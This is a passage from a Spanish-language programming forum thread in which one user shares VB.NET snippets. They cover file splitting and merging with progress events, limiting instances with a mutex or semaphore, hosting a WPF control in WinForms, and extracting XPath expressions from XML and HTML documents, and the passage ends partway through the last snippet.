  459.                            ' Read until reached the end-bytes of the input file.
  460.                            While (SizeWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
  461.  
  462.                                ' Read bytes from the original file (BufferSize byte-length).
  463.                                Buffer = BinaryReader.ReadBytes(BufferLength)
  464.  
  465.                                ' Write those bytes in the chunk file.
  466.                                BinaryWriter.Write(Buffer)
  467.  
  468.                                ' Increment the bytes-written counter.
  469.                                SizeWritten += Buffer.Count
  470.  
  471.                                ' Decrease the bytes-remaining counter.
  472.                                SizeRemaining -= Buffer.Count
  473.  
  474.                                ' Set the total progress.
  475.                                TotalProgress = (TotalSize - SizeRemaining) * (100I / TotalSize)
  476.  
  477.                                ' Set the current chunk progress.
  478.                                ChunkProgress =
  479.                                    If(Not ChunkIndex = ChunkCount,
  480.                                       (100I / ChunkSize) * (SizeWritten - BufferLength),
  481.                                       (100I / (InputStream.Length - (ChunkSize * ChunkIndex))) * (SizeWritten - BufferLength))
  482.  
  483.                                ' Set the progress event-arguments.
  484.                                ProgressArguments =
  485.                                    New SplitProgressChangedArgs(
  486.                                        TotalProgress:=If(Not TotalProgress > 99.9R, TotalProgress, 99.9R),
  487.                                        ChunkProgress:=ChunkProgress,
  488.                                        ChunksToCreate:=ChunkCount + 1I,
  489.                                        ChunksCreated:=ChunkIndex)
  490.  
  491.                                ' Report the progress event-arguments.
  492.                                RaiseEvent SplitProgressChanged(Me, ProgressArguments)
  493.  
  494.                            End While ' (SizeWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
  495.  
  496.                            OutputStream.Flush()
  497.  
  498.                        End Using ' BinaryWriter
  499.  
  500.                    End Using ' OutputStream
  501.  
  502.                    ChunkIndex += 1I 'Increment the chunk file counter.
  503.  
  504.                End While ' InputStream.Position < InputStream.Length
  505.  
  506.            End Using ' BinaryReader
  507.  
  508.        End Using ' InputStream
  509.  
  510.        ' Set the progress event-arguments.
  511.        ProgressArguments =
  512.            New SplitProgressChangedArgs(
  513.                TotalProgress:=100.0R,
  514.                ChunkProgress:=100.0R,
  515.                ChunksToCreate:=ChunkCount + 1I,
  516.                ChunksCreated:=ChunkIndex)
  517.  
  518.        ' Report the progress event-arguments.
  519.        RaiseEvent SplitProgressChanged(Me, ProgressArguments)
  520.  
  521.    End Sub
  522.  
  523.    ''' <summary>
  524.    ''' Merges the specified file.
  525.    ''' </summary>
  526.    ''' <param name="InputFile">
  527.    ''' Indicates the file to merge its chunks.
  528.    ''' This should be the first chunk file (eg: 'File.Part.01.mkv')
  529.    ''' </param>
  530.    ''' <param name="OutputFile">Indicates the output file.</param>
  531.    ''' <param name="Overwrite">
  532.    ''' If set to <c>true</c>, in case that the 'OutputFile' exists it will be overwritten,
  533.    ''' otherwise, an exception will be thrown.
  534.    ''' </param>
  535.    ''' <param name="DeleteChunksAfterMerged">
  536.    ''' If set to <c>true</c>, the chunks will be deleted after a successful.
  537.    ''' </param>
  538.    ''' <exception cref="System.IO.FileNotFoundException">The specified file doesn't exists.</exception>
  539.    ''' <exception cref="System.IO.IOException">File already exists.</exception>
  540.    ''' <exception cref="System.Exception">The last chunk file is missing.</exception>
  541.    ''' <exception cref="System.Exception">Unexpected chunk filesize-count detected.</exception>
  542.    Public Sub Merge(ByVal InputFile As String,
  543.                     Optional ByVal OutputFile As String = Nothing,
  544.                     Optional ByVal Overwrite As Boolean = False,
  545.                     Optional DeleteChunksAfterMerged As Boolean = False)
  546.  
  547.        If Not File.Exists(InputFile) Then
  548.            Throw New FileNotFoundException("The specified file doesn't exists.", InputFile)
  549.            Exit Sub
  550.  
  551.        ElseIf Not Overwrite AndAlso File.Exists(OutputFile) Then
  552.            Throw New IOException(String.Format("File already exists: {0}", OutputFile))
  553.            Exit Sub
  554.  
  555.        End If
  556.  
  557.        ' The progress event arguments.
  558.        Dim ProgressArguments As MergeProgressChangedArgs
  559.  
  560.        ' FileInfo instance of the input chunk file.
  561.        Dim fInfo As New FileInfo(InputFile)
  562.  
  563.        ' Get the filename without extension.
  564.        Dim Filename As String = Path.GetFileNameWithoutExtension(fInfo.FullName)
  565.        ' Remove the chunk enumeration from the filename.
  566.        Filename = Filename.Substring(0I, Filename.LastIndexOf("."c))
  567.  
  568.        ' TSet the pattern to find the chunk files to merge.
  569.        Dim ChunkPatternSearch As String =
  570.            Filename & ".*" & If(Not String.IsNullOrEmpty(fInfo.Extension), fInfo.Extension, "")
  571.  
  572.        ' Retrieve all the chunk files to merge them.
  573.        Dim Chunks As IEnumerable(Of FileInfo) =
  574.           From Chunk As String In
  575.           Directory.GetFiles(fInfo.DirectoryName, ChunkPatternSearch, SearchOption.TopDirectoryOnly)
  576.           Select New FileInfo(Chunk)
  577.  
  578.        If Chunks.Count < 2I Then ' If chunk files are less than 2 then...
  579.            Throw New Exception("The last chunk file is missing.")
  580.            Exit Sub
  581.        End If
  582.  
  583.        ' The total filesize to merge, in bytes.
  584.        Dim TotalSize As Long =
  585.            (From Chunk As FileInfo In Chunks Select Chunk.Length).Sum
  586.  
  587.        ' Gets the filesize of the chunk files and the last chunk file, in bytes.
  588.        Dim ChunkSizes As Long() =
  589.            (From Chunk As FileInfo In Chunks
  590.             Select Chunk.Length Order By Length Descending
  591.            ).Distinct.ToArray
  592.  
  593.        If ChunkSizes.Count > 2I Then ' If chunk sizes are more than 2...
  594.            Throw New Exception("Unexpected chunk filesize-count detected.")
  595.            Exit Sub
  596.        End If
  597.  
  598.        ' The remaining size to calculate the percentage, in bytes.
  599.        Dim SizeRemaining As Long = TotalSize
  600.  
  601.        ' Counts the length of the current chunk file to calculate the percentage, in bytes.
  602.        Dim SizeWritten As Long = 0L
  603.  
  604.        ' Counts the length of the written size on the current chunk file, in bytes.
  605.        Dim ChunkSizeWritten As Long = 0L
  606.  
  607.        ' The buffer to read data and merge the chunks.
  608.        Dim Buffer As Byte() = New Byte() {}
  609.  
  610.        ' The buffer length.
  611.        Dim BufferLength As Integer = Me.BufferSize
  612.  
  613.        ' The total amount of chunks to merge.
  614.        Dim ChunkCount As Integer = Chunks.Count
  615.  
  616.        ' Keeps track of the current chunk.
  617.        Dim ChunkIndex As Integer = 0I
  618.  
  619.        ' Keeps track of the total percentage done.
  620.        Dim TotalProgress As Double = 0.0R
  621.  
  622.        ' Create the output file to merge the chunks inside.
  623.        Using OutputStream As New FileStream(OutputFile, FileMode.Create)
  624.  
  625.            Using BinaryWriter As New BinaryWriter(OutputStream)
  626.  
  627.                ' Iterate the chunks.
  628.                For Each Chunk As FileInfo In Chunks
  629.  
  630.                    ' Open the chunk to start reading bytes.
  631.                    Using InputStream As New FileStream(Chunk.FullName, FileMode.Open)
  632.  
  633.                        Using BinaryReader As New BinaryReader(InputStream)
  634.  
  635.                            ' Read until reached the end-bytes of the chunk file.
  636.                            While (InputStream.Position < InputStream.Length)
  637.  
  638.                                ' Read bytes from the chunk file (BufferSize byte-length).
  639.                                Buffer = BinaryReader.ReadBytes(BufferLength)
  640.  
  641.                                ' Write those bytes in the output file.
  642.                                BinaryWriter.Write(Buffer)
  643.  
  644.                                ' Increment the bytes-written counters.
  645.                                SizeWritten += Buffer.Count
  646.                                ChunkSizeWritten += Buffer.Count
  647.  
  648.                                ' Decrease the bytes-remaining counter.
  649.                                SizeRemaining -= Buffer.Count
  650.  
  651.                                ' Set the total progress.
  652.                                TotalProgress = (TotalSize - SizeRemaining) * (100I / TotalSize)
  653.  
  654.                                ' Set the progress event-arguments.
  655.                                ProgressArguments = New MergeProgressChangedArgs(
  656.                                    TotalProgress:=If(Not TotalProgress > 99.9R, TotalProgress, 99.9R),
  657.                                    ChunkProgress:=(100I / InputStream.Length) * (ChunkSizeWritten - BufferLength),
  658.                                    ChunksToMerge:=ChunkCount,
  659.                                    ChunksMerged:=ChunkIndex)
  660.  
  661.                                ' Report the progress.
  662.                                RaiseEvent MergeProgressChanged(Me, ProgressArguments)
  663.  
  664.                            End While ' (InputStream.Position < InputStream.Length)
  665.  
  666.                            ChunkIndex += 1I ' Increment the chunk file counter.
  667.                            ChunkSizeWritten = 0L ' Reset the bytes-written for the next chunk.
  668.  
  669.                        End Using ' BinaryReader
  670.  
  671.                    End Using ' InputStream
  672.  
  673.                Next Chunk
  674.  
  675.                OutputStream.Flush()
  676.  
  677.            End Using ' BinaryWriter
  678.  
  679.        End Using ' OutputStream
  680.  
  681.        ' Set the progress event-arguments.
  682.        ProgressArguments = New MergeProgressChangedArgs(
  683.            TotalProgress:=100.0R,
  684.            ChunkProgress:=100.0R,
  685.            ChunksToMerge:=ChunkCount,
  686.            ChunksMerged:=ChunkIndex)
  687.  
  688.        ' Report the progress.
  689.        RaiseEvent MergeProgressChanged(Me, ProgressArguments)
  690.  
  691.        If DeleteChunksAfterMerged Then ' Delethe the chunk files.
  692.  
  693.            For Each Chunk As FileInfo In Chunks
  694.                File.Delete(Chunk.FullName)
  695.            Next Chunk
  696.  
  697.        End If ' DeleteChunksAfterMerged
  698.  
  699.    End Sub
  700.  
  701. #End Region
  702.  
  703. End Class


Ejemplo de uso:

(http://i.imgur.com/iHTrf2o.png)

Código
  1. Public Class FileSplitter_Test
  2.  
  3.    ' Some Sizes to choose.
  4.    Private ReadOnly Megabyte As Integer = 1048576I
  5.    Private ReadOnly Gigabyte As Integer = 1073741824I
  6.  
  7.    ' The controls that will report the progress.
  8.    Private LabelSplit1, LabelSplit2, LabelSplit3 As New Label
  9.    Private LabelMerge1, LabelMerge2, LabelMerge3 As New Label
  10.  
  11.    ' The controls to split or merge.
  12.    Private WithEvents ButtonSplit, ButtonMerge As New Button
  13.  
  14.    ' The FileSplitter instance.
  15.    Private WithEvents Splitter As New FileSplitter() With
  16.        {
  17.          .BufferSize = (Megabyte * 10I)
  18.        } ' With BufferSize of 10 Megabytes.
  19.  
  20.    Public Sub New()
  21.  
  22.        ' This call is required by the designer.
  23.        InitializeComponent()
  24.  
  25.        ' Set the Form properties.
  26.        With Me
  27.            .Size = New Point(400, 200)
  28.            .FormBorderStyle = Windows.Forms.FormBorderStyle.FixedDialog
  29.            .MaximizeBox = False
  30.        End With
  31.  
  32.        ' Set the control properties.
  33.        With ButtonSplit
  34.            .Text = "Split"
  35.            .Font = New Font(Me.Font.FontFamily, 14.0F, FontStyle.Bold)
  36.            .Size = New Point(200I, 75I)
  37.            .Location = New Point(0I, 0I)
  38.            .Cursor = Cursors.Hand
  39.        End With
  40.  
  41.        With ButtonMerge
  42.            .Text = "Merge"
  43.            .Font = New Font(Me.Font.FontFamily, 14.0F, FontStyle.Bold)
  44.            .Size = New Point(200I, 75I)
  45.            .Location = New Point(ButtonSplit.Location.X + ButtonSplit.Width, 0I)
  46.            .Cursor = Cursors.Hand
  47.        End With
  48.  
  49.        With LabelSplit1
  50.            .Text = "Total Progress:"
  51.            .AutoSize = True
  52.            .Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
  53.            .Location = New Point(0I, ButtonSplit.Location.Y + ButtonSplit.Height + 10I)
  54.        End With
  55.  
  56.        With LabelSplit2
  57.            .Text = "Chunk Progress:"
  58.            .AutoSize = True
  59.            .Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
  60.            .Location = New Point(0I, LabelSplit1.Location.Y + LabelSplit1.Height)
  61.        End With
  62.  
  63.        With LabelSplit3
  64.            .Text = "Chunk Count:"
  65.            .AutoSize = True
  66.            .Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
  67.            .Location = New Point(0I, LabelSplit2.Location.Y + LabelSplit2.Height)
  68.        End With
  69.  
  70.        With LabelMerge1
  71.            .Text = "Total Progress:"
  72.            .AutoSize = True
  73.            .Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
  74.            .Location = New Point(ButtonMerge.Location.X, ButtonMerge.Location.Y + ButtonMerge.Height + 10I)
  75.        End With
  76.  
  77.        With LabelMerge2
  78.            .Text = "Chunk Progress:"
  79.            .AutoSize = True
  80.            .Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
  81.            .Location = New Point(ButtonMerge.Location.X, LabelMerge1.Location.Y + LabelMerge1.Height)
  82.        End With
  83.  
  84.        With LabelMerge3
  85.            .Text = "Chunk Count:"
  86.            .AutoSize = True
  87.            .Font = New Font(Me.Font.FontFamily, 9.0F, FontStyle.Regular)
  88.            .Location = New Point(ButtonMerge.Location.X, LabelMerge2.Location.Y + LabelMerge2.Height)
  89.        End With
  90.  
  91.        ' Add the controls into the form.
  92.        Me.Controls.AddRange({LabelSplit1, LabelSplit2, LabelSplit3})
  93.        Me.Controls.AddRange({LabelMerge1, LabelMerge2, LabelMerge3})
  94.        Me.Controls.AddRange({ButtonSplit, ButtonMerge})
  95.  
  96.    End Sub
  97.  
  98.    ''' <summary>
  99.    ''' Handles the 'Click' event of the 'ButtonSplit' control.
  100.    ''' </summary>
  101.    Private Sub ButtonSplit_Click() Handles ButtonSplit.Click
  102.  
  103.        Splitter.Split(InputFile:="C:\File.mkv",
  104.                       ChunkSize:=Gigabyte,
  105.                       ChunkName:="File.Part",
  106.                       ChunkExt:="fs",
  107.                       Overwrite:=True,
  108.                       DeleteAfterSplit:=False)
  109.  
  110.    End Sub
  111.  
  112.    ''' <summary>
  113.    ''' Handles the 'Click' event of the 'ButtonMerge' control.
  114.    ''' </summary>
  115.    Private Sub ButtonMerge_Click() Handles ButtonMerge.Click
  116.  
  117.        Splitter.Merge(InputFile:="C:\File.Part.1.fs",
  118.                       OutputFile:="C:\Merged.mkv",
  119.                       Overwrite:=True,
  120.                       DeleteChunksAfterMerged:=True)
  121.  
  122.    End Sub
  123.  
  124.    ''' <summary>
  125.    ''' Handles the 'SplitProgressChangedArgs' event of the 'Splitter' object.
  126.    ''' </summary>
  127.    ''' <param name="sender">The source of the event.</param>
  128.    ''' <param name="e">The <see cref="FileSplitter.SplitProgressChangedArgs"/> instance containing the event data.</param>
  129.    Private Sub Splitter_SplitProgressChangedArgs(ByVal sender As Object, ByVal e As FileSplitter.SplitProgressChangedArgs) _
  130.    Handles Splitter.SplitProgressChanged
  131.  
  132.        LabelSplit1.Text = String.Format("Total Progress: {0}%", e.TotalProgress.ToString("n1"))
  133.        LabelSplit2.Text = String.Format("Chunk Progress: {0}%", e.ChunkProgress.ToString("n1"))
  134.        LabelSplit3.Text = String.Format("Chunk Count: {0} of {1}", CStr(e.ChunksCreated), CStr(e.ChunksToCreate))
  135.        Application.DoEvents()
  136.  
  137.    End Sub
  138.  
  139.    ''' <summary>
  140.    ''' Handles the 'MergeProgressChangedArgs' event of the 'Splitter' object.
  141.    ''' </summary>
  142.    ''' <param name="sender">The source of the event.</param>
  143.    ''' <param name="e">The <see cref="FileSplitter.MergeProgressChangedArgs"/> instance containing the event data.</param>
  144.    Private Sub Splitter_MergeProgressChangedArgs(ByVal sender As Object, ByVal e As FileSplitter.MergeProgressChangedArgs) _
  145.    Handles Splitter.MergeProgressChanged
  146.  
  147.        LabelMerge1.Text = String.Format("Total Progress: {0}%", e.TotalProgress.ToString("n1"))
  148.        LabelMerge2.Text = String.Format("Chunk Progress: {0}%", e.ChunkProgress.ToString("n1"))
  149.        LabelMerge3.Text = String.Format("Chunk Count: {0} of {1}", CStr(e.ChunksMerged), CStr(e.ChunksToMerge))
  150.        Application.DoEvents()
  151.  
  152.    End Sub
  153.  
  154. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 18 Agosto 2014, 08:40 am
Aquí explico una manera de limitar manualmente la aplicación a única instancia (Single-Instance), mediante el MUTEX.

(http://i.imgur.com/XKmKI2q.png)

Código
  1. ' Single-Instance Application Example
  2. ' By Elektro
  3.  
  4. ' Instructions:
  5. ' 1. Open the project properties page, goto 'Application' tab, and click in 'View application Events' button.
  6. ' 2. Copy and paste this code to replace the 'MyApplication' class contents.
  7. ' 3. Define a proper identifier for 'MutexID' property.
  8.  
  9. Namespace My
  10.  
  11.    Partial Friend Class MyApplication
  12.  
  13. #Region " Properties "
  14.  
  15.        ''' <summary>
  16.        ''' Gets the current process mutex identifier.
  17.        ''' </summary>
  18.        ''' <value>the current process mutex identifier.</value>
  19.        ''' <exception cref="System.FormatException">The specified value is not a valid GUID format.</exception>
  20.        Private ReadOnly Property MutexID As String
  21.            Get
  22.                ' Define a Golabl Unique Identifier to name the Mutex.
  23.                Dim Id As String = "b045ce40-2863-4ce7-a7df-8afca8214454"
  24.  
  25.                If Guid.TryParse(input:=Id, result:=New Guid) Then
  26.                    Return Id
  27.                Else
  28.                    Throw New FormatException("The specified value is not in a valid GUID format.")
  29.                End If
  30.  
  31.            End Get
  32.        End Property
  33.  
  34. #End Region
  35.  
  36. #Region " Private Methods "
  37.  
  38.        ''' <summary>
  39.        ''' Determines whether this is the unique instance that is running for this process.
  40.        ''' </summary>
  41.        ''' <returns><c>true</c> if this is the unique instance; otherwise, <c>false</c>.</returns>
  42.        Private Function IsUniqueInstance() As Boolean
  43.  
  44.            Dim mtx As Threading.Mutex = Nothing
  45.  
  46.            Try
  47.                mtx = Threading.Mutex.OpenExisting(name:=Me.MutexID)
  48.                mtx.Close()
  49.                mtx = Nothing
  50.            Catch
  51.                mtx = New Threading.Mutex(initiallyOwned:=True, name:=Me.MutexID)
  52.            End Try
  53.  
  54.            Return mtx IsNot Nothing
  55.  
  56.        End Function
  57.  
  58. #End Region
  59.  
  60. #Region " Event-Handlers "
  61.  
  62.        ''' <summary>
  63.        ''' This occurs when the application starts, before the startup Form is created.
  64.        ''' </summary>
  65.        ''' <param name="sender">The source of the event.</param>
  66.        ''' <param name="e">The <see cref="ApplicationServices.StartupEventArgs"/> instance containing the event data.</param>
  67.        Private Sub MyApplication_Startup(ByVal sender As Object, ByVal e As ApplicationServices.StartupEventArgs) _
  68.        Handles Me.Startup
  69.  
  70.            ' If there is more than one instance running of this process with the same mutex then...
  71.            If Not Me.IsUniqueInstance Then ' Prevent multi-instancing.
  72.  
  73.                MessageBox.Show("This is a limited demo, to run multiple instances please purchase the program.",
  74.                               Application.Info.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error)
  75.  
  76.                ' Cancel the application execution.
  77.                e.Cancel = True
  78.  
  79.            End If
  80.  
  81.        End Sub
  82.  
  83. #End Region
  84.  
  85.    End Class ' MyApplication
  86.  
  87. End Namespace


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 18 Agosto 2014, 12:08 pm
Un ejemplo de como añadir y usar un control WPF (no un proyecto) en Winforms, en tiempo de ejecución.

En este ejemplo uso un control simple que imita el indicador de progreso de Windows 8:

(http://i.imgur.com/v9LK8lk.gif)

Código
  1. ' Example of how to add an WPF Control in a WinForms project at execution time.
  2. ' By Elektro
  3.  
  4. ' Instructions:
  5. ' 1. Compile your own WPF user-control or download this one: http://www.codeproject.com/Articles/700185/Windows-Progress-Ring?msg=4884207#xx4884207xx
  6. ' 2. Add a reference to 'WindowsformsIntegration', 'PresentationFramework', 'PresentationCore', 'WindowsBase' and 'System.Xaml'.
  7. ' 3. Add a reference to our WPF library, in this example is: 'WindowsProgressRing.dll'
  8. ' 4. If the 'WindowsProgressRing.dll' user-control doesnt's load properly, set the targeting Framework to '4.5'.
  9.  
  10. #Region " Imports "
  11.  
  12. Imports System.Windows.Forms.Integration ' ElementHost
  13.  
  14. #End Region
  15.  
  16. #Region " WPFControl_TestClass "
  17.  
  18. Public Class WPFControl_TestClass
  19.  
  20.    ''' <summary>
  21.    ''' The ElementHost instance that will host the WPF user-control.
  22.    ''' </summary>
  23.    Dim WPFHost As New ElementHost With {.Dock = DockStyle.Fill}
  24.  
  25.    ''' <summary>
  26.    ''' The WPF user-control instance.
  27.    ''' </summary>
  28.    Dim WPFControl As New NMT.Wpf.Controls.WindowsProgressRing
  29.  
  30.    ''' <summary>
  31.    ''' Initializes a new instance of the <see cref="WPFControl_TestClass"/> class.
  32.    ''' </summary>
  33.    Public Sub New()
  34.  
  35.        ' This call is required by the designer.
  36.        InitializeComponent()
  37.  
  38.        With Me ' Set the Form properties.
  39.            .StartPosition = FormStartPosition.CenterScreen
  40.            .FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
  41.            .MaximizeBox = False
  42.            .ShowIcon = False
  43.            .BackColor = Color.Black
  44.            .Size = New Drawing.Size(320I, 320I)
  45.  
  46.            .Controls.Add(WPFHost) ' Add the ElementHost.
  47.        End With ' Me
  48.  
  49.        With WPFHost ' Set the ElementHost properties.
  50.            .Width = 120I
  51.            .Height = 120I
  52.            WPFHost.Child = WPFControl ' Add the WPF Control.
  53.        End With ' WPFHost
  54.  
  55.        With WPFControl ' Set the WPF Control properties.
  56.            .Items = 60I
  57.            .Width = 120.0R
  58.            .Height = 120.0R
  59.            .Speed = New Windows.Duration(TimeSpan.FromSeconds(2.5R))
  60.            .Background = New Windows.Media.SolidColorBrush(Windows.Media.Color.FromRgb(Color.Black.R, Color.Black.G, Color.Black.B))
  61.            .Foreground = New Windows.Media.SolidColorBrush(Windows.Media.Color.FromRgb(Color.DodgerBlue.R, Color.DodgerBlue.G, Color.DodgerBlue.B))
  62.        End With ' WPFControl
  63.  
  64.    End Sub
  65.  
  66. End Class ' WPFControl_TestClass
  67.  
  68. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 18 Agosto 2014, 15:02 pm
Este código es parecido al ejemplo que mostré de como implementar una prevención de múltiples instancias, pero la diferencia de este código es que se puede especificar un máximo de instancias múltiples (en la propiedad 'SemaphID')

(http://i.imgur.com/pQekOki.png)

Código
  1. ' Multi-Instance Limit Example
  2. ' By Elektro
  3.  
  4. ' Instructions:
  5. ' 1. Open the project properties page, goto 'Application' tab, and click in 'View application Events' button.
  6. ' 2. Copy and paste this code to replace the 'MyApplication' class contents.
  7. ' 3. Define a proper identifier for 'SemaphID' property.
  8.  
  9. Namespace My
  10.  
  11.    Partial Friend Class MyApplication
  12.  
  13.        ''' <summary>
  14.        ''' The semaphore object used to limit the number of instances.
  15.        ''' </summary>
  16.        Private Semaph As Threading.Semaphore = Nothing
  17.  
  18.        ''' <summary>
  19.        ''' Gets the current semaphore object identifier.
  20.        ''' </summary>
  21.        ''' <value>The current process semaphore identifier.</value>
  22.        ''' <exception cref="System.FormatException">The specified value is not a valid GUID format.</exception>
  23.        Private ReadOnly Property SemaphID As String
  24.            Get
  25.  
  26.                ' Define a Golabl Unique Identifier to name the semaphore object.
  27.                Dim Id As String = "b045ce40-2863-4ce7-a7df-8afca8214454"
  28.  
  29.                If Guid.TryParse(input:=Id, result:=New Guid) Then
  30.                    Return Id
  31.                Else
  32.                    Throw New FormatException("The specified value is not in a valid GUID format.")
  33.                End If
  34.  
  35.            End Get
  36.        End Property
  37.  
  38.        ''' <summary>
  39.        ''' Gets the maximum instances allowed for this process.
  40.        ''' </summary>
  41.        ''' <value>The maximum instances allowed for this process.</value>
  42.        Private ReadOnly Property MaxInstances As Integer
  43.            Get
  44.                Return 3
  45.            End Get
  46.        End Property
  47.  
  48.        ''' <summary>
  49.        ''' Determines whether the semaphore can receive a signal.
  50.        ''' </summary>
  51.        ''' <returns><c>true</c> if this instance [can set semaphore]; otherwise, <c>false</c>.</returns>
  52.        Private Function CanSetSemaphore() As Boolean
  53.  
  54.            Semaph = New Threading.Semaphore(initialCount:=Me.MaxInstances,
  55.                                             maximumCount:=Me.MaxInstances,
  56.                                             name:=Me.SemaphID)
  57.  
  58.            Return Semaph.WaitOne(100I)
  59.  
  60.        End Function
  61.  
  62.        ''' <summary>
  63.        ''' This occurs when the application starts, before the startup Form is created.
  64.        ''' </summary>
  65.        ''' <param name="sender">The source of the event.</param>
  66.        ''' <param name="e">The <see cref="ApplicationServices.StartupEventArgs"/> instance containing the event data.</param>
  67.        Private Sub MyApplication_Startup(ByVal sender As Object, ByVal e As ApplicationServices.StartupEventArgs) _
  68.        Handles Me.Startup
  69.  
  70.            ' If there is more than the maximum allowed instances running with the same id then...
  71.            If Not Me.CanSetSemaphore Then ' Prevent multi-instancing.
  72.  
  73.                MessageBox.Show("This is a limited demo, to run multiple instances please purchase the program.",
  74.                               Application.Info.ProductName, MessageBoxButtons.OK, MessageBoxIcon.Error)
  75.  
  76.                ' Cancel the application Startup to terminate the process.
  77.                e.Cancel = True
  78.  
  79.            End If
  80.  
  81.        End Sub
  82.  
  83.        ''' <summary>
  84.        ''' This occurs when the application shuts down.
  85.        ''' </summary>
  86.        ''' <param name="sender">The source of the event.</param>
  87.        ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  88.        Private Sub MyApplication_Shutdown(ByVal sender As Object, ByVal e As EventArgs) _
  89.        Handles Me.Shutdown
  90.  
  91.            If Semaph IsNot Nothing Then
  92.  
  93.                ' Free the semaphore to allow next app runs.
  94.                Semaph.Release()
  95.                Semaph.Close()
  96.                Semaph = Nothing
  97.  
  98.            End If ' semaph IsNot Nothing
  99.  
  100.        End Sub
  101.  
  102.    End Class ' MyApplication
  103.  
  104. End Namespace


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Agosto 2014, 04:33 am
Convierte un String a HTMLDocument

Código
  1.    ' String To HtmlDocument
  2.    ' By Elektro
  3.    '
  4.    ' Example Usage:
  5.    ' Dim Document As HtmlDocument = StringToHtmlDocument(IO.File.ReadAllText("C:\File.html", Text.Encoding.Default))
  6.    '
  7.    ''' <summary>
  8.    ''' Converts a <see cref="String"/> to an <see cref="HTMLDocument"/>.
  9.    ''' </summary>
  10.    ''' <param name="str">Indicates the string.</param>
  11.    ''' <returns>The <see cref="HTMLDocument"/> object.</returns>
  12.    Public Function StringToHtmlDocument(ByVal str As String) As HtmlDocument
  13.  
  14.        Using wb As New WebBrowser
  15.  
  16.            wb.ScriptErrorsSuppressed = True
  17.            wb.DocumentText = ""
  18.            wb.Document.OpenNew(replaceInHistory:=True)
  19.            wb.Document.Write(str)
  20.            Return wb.Document
  21.  
  22.        End Using
  23.  
  24.    End Function



Obtiene los XPaths de un XMLDocument:

(http://i.imgur.com/PwkVi9Y.png)

Código
  1.    ' Get XPaths
  2.    ' By Elektro
  3.    '
  4.    ' Example Usage:
  5.    '
  6.    ' Dim xDoc As New Xml.XmlDocument
  7.    ' xDoc.Load("C:\File.xml")
  8.    ' Dim XPathList As List(Of String) = GetXPaths(xDoc)
  9.    ' ListBox1.Items.AddRange((From XPath As String In XPathList Select XPath).ToArray)
  10.  
  11.    ''' <summary>
  12.    ''' Gets all the XPath expressions of an XML Document.
  13.    ''' </summary>
  14.    ''' <param name="Document">Indicates the XML document.</param>
  15.    ''' <returns>List(Of System.String).</returns>
  16.    Public Function GetXPaths(ByVal Document As Xml.XmlDocument) As List(Of String)
  17.  
  18.        Dim XPathList As New List(Of String)
  19.  
  20.        Dim XPath As String = String.Empty
  21.  
  22.        For Each Child As Xml.XmlNode In Document.ChildNodes
  23.  
  24.            If Child.NodeType = Xml.XmlNodeType.Element Then
  25.                GetXPaths(Child, XPathList, XPath)
  26.            End If
  27.  
  28.        Next ' child
  29.  
  30.        Return XPathList
  31.  
  32.    End Function
  33.  
  34.    ''' <summary>
  35.    ''' Gets all the XPath expressions of an XML Node.
  36.    ''' </summary>
  37.    ''' <param name="Node">Indicates the XML node.</param>
  38.    ''' <param name="XPathList">Indicates a ByReffered XPath list as a <see cref="List(Of String)"/>.</param>
  39.    ''' <param name="XPath">Indicates the current XPath.</param>
  40.    Private Sub GetXPaths(ByVal Node As Xml.XmlNode,
  41.                          ByRef XPathList As List(Of String),
  42.                          Optional ByVal XPath As String = Nothing)
  43.  
  44.        XPath &= "/" & Node.Name
  45.  
  46.        If Not XPathList.Contains(XPath) Then
  47.            XPathList.Add(XPath)
  48.        End If
  49.  
  50.        For Each Child As Xml.XmlNode In Node.ChildNodes
  51.  
  52.            If Child.NodeType = Xml.XmlNodeType.Element Then
  53.                GetXPaths(Child, XPathList, XPath)
  54.            End If
  55.  
  56.        Next ' child
  57.  
  58.    End Sub
  59.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Agosto 2014, 10:37 am
Obtiene las expresiones XPath de un documento Html, usando la librería HtmlAgilityPack (http://htmlagilitypack.codeplex.com/).

PD: Si encuentran algún fallo porfavor reportármelo, no conozco mucho el tema de los XPath.

(http://i.imgur.com/heqTmvt.png)

Código
  1.    ' Get Html XPaths
  2.    ' By Elektro
  3.    '
  4.    ' Example Usage:
  5.    '
  6.    ' Dim Document As New HtmlAgilityPack.HtmlDocument
  7.    ' Document.LoadHtml(IO.File.ReadAllText("C:\File.html"))
  8.    ' Dim XpathList As List(Of String) = GetHtmlXPaths(Document)
  9.    ' ListBox1.Items.AddRange((From XPath As String In XpathList Select XPath).ToArray)
  10.  
  11.    ''' <summary>
  12.    ''' Gets all the XPath expressions of an <see cref="HtmlAgilityPack.HtmlDocument"/> document.
  13.    ''' </summary>
  14.    ''' <param name="Document">Indicates the <see cref="HtmlAgilityPack.HtmlDocument"/> document.</param>
  15.    ''' <returns>List(Of System.String).</returns>
  16.    Public Function GetHtmlXPaths(ByVal Document As HtmlAgilityPack.HtmlDocument) As List(Of String)
  17.  
  18.        Dim XPathList As New List(Of String)
  19.        Dim XPath As String = String.Empty
  20.  
  21.        For Each Child As HtmlAgilityPack.HtmlNode In Document.DocumentNode.ChildNodes
  22.  
  23.            If Child.NodeType = HtmlAgilityPack.HtmlNodeType.Element Then
  24.                GetHtmlXPaths(Child, XPathList, XPath)
  25.            End If
  26.  
  27.        Next Child
  28.  
  29.        Return XPathList
  30.  
  31.    End Function
  32.  
  33.    ''' <summary>
  34.    ''' Gets all the XPath expressions of an <see cref="HtmlAgilityPack.HtmlNode"/>.
  35.    ''' </summary>
